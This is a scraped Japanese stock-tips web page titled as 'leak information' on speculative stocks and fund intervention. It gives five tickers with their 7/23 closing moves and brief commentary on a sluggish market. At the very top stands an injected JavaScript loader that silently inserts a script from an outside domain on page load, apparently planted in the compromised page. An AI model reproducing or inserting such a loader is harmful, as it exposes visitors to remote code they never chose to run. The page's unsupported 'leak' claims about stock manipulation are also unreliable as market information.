;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/23 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【7/23 大引け】

【3662】エイチーム -110 (-1.59%)

【3686】ディー・エル・イー +24 (+2.4%)

【6857】アドバンテスト -8 (-0.64%)

【3632】グリー -3 (-0.35%)

【1805】飛島建設 +1 (+0.59%)

円相場が対ドル、対ユーロで強含んだことに加え、4~6月期決算発表の本格化を控えて、投資家が慎重姿勢を強めたことも相場の重石となった。

様子見ムードが市場を覆う中、資金は主力の大型株から中小型の材料株へとシフト。個別物色による局地戦は活発だったものの、全般相場を押し上げるには至らなかった。手掛かり材料難を背景に膠着感は色濃く、日中値幅は58円と1年7ヵ月ぶりの低水準に落ち込んだ。